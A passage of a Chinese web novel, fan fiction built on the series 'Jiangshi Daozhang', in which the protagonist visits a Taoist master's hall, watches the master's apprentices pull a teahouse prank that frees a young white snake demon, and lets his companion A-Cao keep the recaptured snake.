有传统的茶楼、酒肆、布庄、药铺,也能看到一些挂着洋文招牌的商行、钟表店,甚至还有一两栋带着西式拱窗和阳台的小洋楼夹杂其中。
时间尚早,但街上已经有不少行人,挑着担子的小贩吆喝着,人力车夫拉着客人跑过,穿着长衫马褂的士绅和穿着短打的百姓混杂,偶尔还能看到一两个穿着西装或洋裙的身影。
整个镇子透着一股蓬勃的生气,商业气息明显比任家镇浓郁,也比任家镇显得更开放、更洋气一些。
“这甘田镇,看着挺繁华啊,比任家镇热闹多了。”无心趴在车窗边,好奇地张望着。
“正常,甘田镇这边更靠近省城和港口,跟外头来往多,自然更兴旺些。”古德解释道。
他操控着“马车”,顺着主街缓缓前行。
镇上的百姓对这样一辆看起来用料扎实、马匹神骏的马车,只是投来些许好奇或羡慕的一瞥,并没有表现出太多惊奇。
显然,在这等规模的镇上,有马车的人家虽不多,但也绝非罕见。
马车经过一家名为“永昌”的米行时,古德的目光不经意地扫过门口的一个年轻人。
那年轻人约莫二十出头,长相端正,眉眼间带着一股子精干,古德觉得他还一种莫名的熟悉感。
“尹天招?”
第301章 来早了,又是两个坑师的徒弟
古德心里一动。
这年轻人的长相,跟他前世的演员尹天招有七八分相似!
只不过眼前这位更年轻。
“僵尸道长里……好像确实有他饰演的角色,叫什么来着?记不清了。”
古德回忆着,但当时他看的比较早,剧情也都想不起来了。
“不过,既然这里有尹天招的脸,那会不会……跟况天佑也有什么关系?在这个乱七八糟的融合世界里,说不定他们是亲戚?叔侄?兄弟?”
古德脑子里转着这些无厘头的念头,但并没有贸然上前打招呼,也不行节外生枝。
马车继续前行,按照路上问到的方向,拐进了一条相对清净些的街道,最终在一座看起来有些年头、但打扫得十分干净整洁的青砖院落前停了下来。
院门是普通的黑漆木门,门上没有牌匾,但门楣上贴着一张已经有些褪色、但依旧完整的符纸,隐隐透着法力波动。
院墙不高,能看到里面栽种的翠竹探出墙头。
这里,应该就是**小方的“伏羲堂”了。
古德整理了一下衣襟,示意阿草和无心在车上等着,自己下了车。
他手里提着一个在路上顺便买的、用红纸包好的点心盒子,走到黑漆木门前,抬手轻轻敲了敲。
“笃笃笃。”
过了一会儿,里面传来脚步声,木门“吱呀”一声打开了一条缝。
一个看起来十**岁、面相憨厚、眼神清澈的年轻男子探出头来。
他穿着朴素的灰布短打,头发剃得很短,看到门外陌生的古德,脸上露出疑惑的表情,礼貌地问:
“你好,请问你找谁?有什么事吗?”
古德脸上露出温和的笑容,将点心盒子稍微示意了一下,客气地说:
“小兄弟你好,在下古德,是**小方毛道长的朋友,与他约好近日上门拜访。不知毛道长此刻可在堂中?”
那憨厚青年,闻言挠了挠头,脸上显出些不好意思:
“哦,原来是师父的朋友。古先生你好,我叫孟海,是师父的徒弟。真不巧,我师父他前天出门办事去了,还没回来呢。具体什么时候能回来,我也说不好,他没交代。”
古德一愣,随即反应过来。
自己开着经过强化的房车一路疾驰,速度远超常人步行或骑马,这是赶到**小方前头回来了。
他摸了摸鼻子,有点尴尬地笑了笑:
“原来如此,是我来得不巧了。既然毛道长还未归,那我就不多打扰了。这点小心意,麻烦小兄弟等毛道长回来转交一下,就说古德来访未遇,改日再来拜会。”
说着,他将点心盒子递了过去。
孟海连忙摆手:
“这怎么好意思,古先生太客气了。师父回来我会告诉他的,您的心意我替师父心领了,东西您还是拿回去吧。”
古德坚持要给,孟海推辞不过,又见古德态度诚恳,不像是坏人,这才不好意思地收下,连连道谢:
“那……那我就替师父收下了,谢谢古先生。等师父回来,我一定第一时间告诉他您来过。”
“有劳孟海兄弟了。”古德拱了拱手,便告辞离开,回到了马车上。
“老板,毛道长不在?”阿草问道。
“嗯,还没回来。咱们来早了。”
古德坐进车里,对阿草说,“走吧,先找个客栈安顿下来。顺便也尝尝这甘田镇本地菜的味道,看看跟阿草你的手艺比怎么样。”
“老板!”
阿草娇嗔了一句,但还是听话地驱动马车,离开了伏羲堂门口,朝着镇上客栈集中的区域驶去。
接下来的几天,古德一行便在甘田镇最好的“悦来客栈”住了下来。
古德也没有急着再去伏羲堂,反而悠哉游哉地带着阿草和无心,在甘田镇里闲逛起来。
他喜欢这种慢下来的感觉,观察着这个时代小镇的烟火气。
清晨去码头看渔船归来,上午在茶楼听人说书,下午逛逛集市,晚上在客栈后院纳凉。
阿草对集市上的各种食材和本地小吃很感兴趣,无心则对镇上的武馆和跌打医馆颇有兴趣。三人融入这小镇生活,倒也惬意。
几天后的一个清晨,古德照例带着阿草和无心,来到甘田镇最有名的茶楼“和兴楼”喝早茶。
和兴楼生意极好,大堂里坐满了各色食客,人声鼎沸,充满了饮茶的喧嚣与活力。
伙计提着巨大的铜壶穿梭添水,蒸笼的热气带着点心香气弥漫开来。
古德三人好不容易在二楼靠窗边找到一张空桌坐下,点
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了虾饺、烧卖、叉烧包、肠粉等一桌茶点,边吃边看着楼下街景。
正吃着,古德的目光不经意地扫过不远处另一张桌子。
那张桌子旁坐着两个年轻男子,正在边吃边聊。
其中一个,正是那天在伏羲堂开门的憨厚青年孟海。
而他对面坐着的另一个男子,约莫二十三四岁年纪,皮肤稍黑,眉眼俊朗,穿着合体的浅色短衫,整个人透着一股机灵劲儿,甚至有点玩世不恭的味道。
看到这人的脸,古德拿着快子的手微微一顿。
这张脸……他也觉得有点眼熟。
不是尹天照那种,而是更像他前世在香江认识的那个法医古泽琛!
只是眼前这人年轻许多,气质也完全不同,古泽琛是冷静专业带着书卷气,而眼前这位,眼神活络,嘴角总是噙着一丝若有若无的、带着点痞气的笑意。
“这该不会就是**小方的另一个徒弟吧?叫什么来着?”
古德努力回忆着有些模糊的剧情。
他对《僵尸道长》的详细情节确实忘得差不多了,只记得**小方有两个徒弟,一个憨厚,一个机灵但好像有点不着调。
古德的猜测很快得到了印证。
只见孟海和对面的青年似乎因为什么小事争执了两句,那青年笑嘻嘻地拍了孟海肩膀一下,孟海则无奈地摇头。
看两人熟稔的互动,多半就是师兄弟了。
古德摇摇头,不再关注,专心对付眼前的虾饺。
阿草做的点心固然美味,但这本地茶楼的老字号点心,也别有一番地道风味。
然而,就在古德刚夹起一个烧卖,准备送入口中时,眼角余光却瞥见,那个长得像古泽琛的青年,好像跟一个女孩发生争执,呼喊间他拎走了这个女孩背在背后一个竹制背篓!
那女孩似乎毫无所觉,冷着一张脸走了出去。
而那青年得手后,脸上那丝痞笑更浓了,来到孟海身边,还对着一张嘴上满是辣椒的孟海挤了挤眼。
然后跟孟海勾肩搭背的说着什么。
只是他扬起的背篓,因为倒放,口子自行掀开,一条小蛇掉了出来。
古德:“……”
无心:“……”
阿草一声惊呼:“老板,那是百年蛇妖。”
第302章 打起来了?
只见一条通体雪白、只有手指粗细、不到一尺长的小蛇,有些茫然的左右看了看,然后悄无声息往门口的方向游去。
古德嘴角微微抽了抽。
看着那小白蛇已经溜到楼梯口,眼看就要混入下楼的人流消失不见,他用筷子尾端轻轻敲了敲看完戏,回去埋头猛吃的无心的手背。
“无心。”
无心茫然地抬起头,嘴角还沾着一点虾饺的油渍:“东家?”
古德用眼神示意了一下楼梯口方向,那里,小白蛇的尾巴尖刚刚消失在拐角。
他压低声音,简短吩咐:“看到那条溜下去的小白蛇没?去,把它捉回来,小心点,活的,别弄**。”
无心顺着古德的目光看去,看到一条白线“嗖”地一下滑下楼梯。
他虽然不明所以,但对古德的指令向来执行到位。
他二话不说,把嘴里最后半个虾饺囫囵吞下,抓起旁边的布巾胡乱擦了擦嘴,说了声“好嘞”,身形一晃,就从座位上消失了。
动作快得连旁边添水的伙计都没看清他是怎么离开的。
那小白蛇顺着楼梯扶手滑到一楼,小小的脑袋左右摆动,似乎有些迷茫。
它简单的脑子里只有两个念头:找主人,还有……饿。它需要进食,需要血食来维持修行。
茶楼里人太多,气味混杂,让它有些焦躁,下意识地朝着门口光亮处快速游去。
就在它即将穿过门坎,混入外面街上行人脚底的瞬间,一只骨节分明、稳定有力的手,如同铁钳般,极其精准地凌空一探,不偏不倚,正正掐住了它纤细身躯的“七寸”位置。
“嘶!”
小白蛇受惊,本能地扭动身躯,试图缠绕上那只手臂,同时张开小口,露出尖细的毒牙。
然而,掐住它七寸的手指微微用力,一股温和却不容抗拒的力量透入,瞬间让它浑身酥麻,提不起丝毫力气,毒牙也咬不下去,只能徒劳地扭动。
无心捏着这条冰冰凉、滑腻腻的小白蛇,回到二楼,在不少茶客好奇的目光中,走回古德桌旁,将捏着蛇的手往桌下一藏,低声道:
“东家,抓回来了。这小东西,还想咬我。”
古德点点头,示意他坐下。
阿草也好奇地凑过来看。只见无心手掌中,那条小白蛇蔫头耷脑地盘着,雪白的鳞片在茶楼的光线下泛着微光,一双赤红色的小眼睛透着惊恐和茫然,不断吐着信子。
古德仔细打量着这小蛇。
妖气很纯,不像是吃过血食、沾染了血腥怨气的样子,看来还没来得及作案。
眼神也确实清澈,甚至有点蠢萌,属于那种刚刚开启灵智不久、还没被世俗污染、但也因此行事全凭本能、不懂善恶危险的小妖。
这下,古德基本确定了。
这应该僵尸道长里那段剧情。
**小方这两个活宝徒弟,恶作剧偷了人家养的、有灵性的小白蛇。
结果蛇跑了,按照原本发展,这懵懂小妖跑出去,因为饥饿和本能,大概率会袭击人畜,甚至“开荤”**。
到时候,这因果孽债,至少有一部分要算在“管教不严,纵徒为恶”的**小方头上。
做师父的,替徒弟擦屁股,天经地义,但也够憋屈的。
“所以说,收徒弟,光看资质心性还不够,还得看脑子是不是正常,会不会坑师父。”
古德心里默默吐槽了一句,看向还在不远处那桌,似乎因为“恶作剧”成功而低声嬉笑的郁达初和一脸无奈的孟海,摇了摇头。
“老板,这小蛇……”
阿草看着小白蛇,眼睛亮亮的,似乎对这小东西有点兴趣。
她以前在山里,也见过不少蛇虫,但这么通体雪白、颇有灵性、看起来还挺干净的小蛇,倒是少见。
“你想要?”古德看她。
阿草用力点点头,有点期待:
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>“它看起来挺乖的,而且身上没有血腥味,应该没害过人。我……我能养着它吗?我保证看好它,不让它乱跑,也不让它害人。”
古德想了想,一条刚成精不久、灵智未开的小蛇妖,对阿草来说,应该不成问题。
阿草本身是稀有草灵,对草木精怪、蛇虫鼠蚁之类,似乎有种天然的亲和力与压制力。
交给她,说不定比留在那姑娘手里更安全。
“行,给你了。看紧点,别让它惹事。”古德点头同意。
阿草顿时眉开眼笑,小心翼翼地从无心手里接过小白蛇。
说来也怪,那刚才在无心手里还挣扎扭动的小白蛇,一到了阿草掌心,似乎感应到了什么,立刻安静下来,甚至讨好似的用冰凉的小脑袋蹭了蹭阿草的手指,然后乖乖地盘成一团,不动了。
无心看得啧啧称奇:“嘿,这小东西,还挺会看人下菜碟。”
古德笑了笑,没再多说,继续喝茶。
楼下,那两个“肇事者”似乎也结账离开了。
一场潜在的、可能导致无辜伤亡和**小方背锅的祸事,就这么悄无声息地被掐灭在萌芽状态。
小白蛇事件的第二天上午,古德估摸着**小方应该已经从之前的奔波中缓过劲来了,便打算正式上门拜访。
毕竟,他来甘田镇的主要目的之一,就是“刷”这位道长身边的“任务”和“订单”。
他让阿草留在客栈照看那条新得的、暂时被阿草用柳枝编了个小笼子关起来的小白蛇,自己带着无心,不紧不慢地朝着伏羲堂溜达过去。
路过和兴楼时,古德习惯性地朝里面瞥了一眼。
这一瞥,刚好看到茶楼大堂里似乎有些骚动,不少人围成一圈在看热闹,里面还传来乒乓乓乓的声响,夹杂着女子的怒斥和男子的惊呼。
“打起来了?”
古德好奇心起,停下脚步,站在门口朝里望去。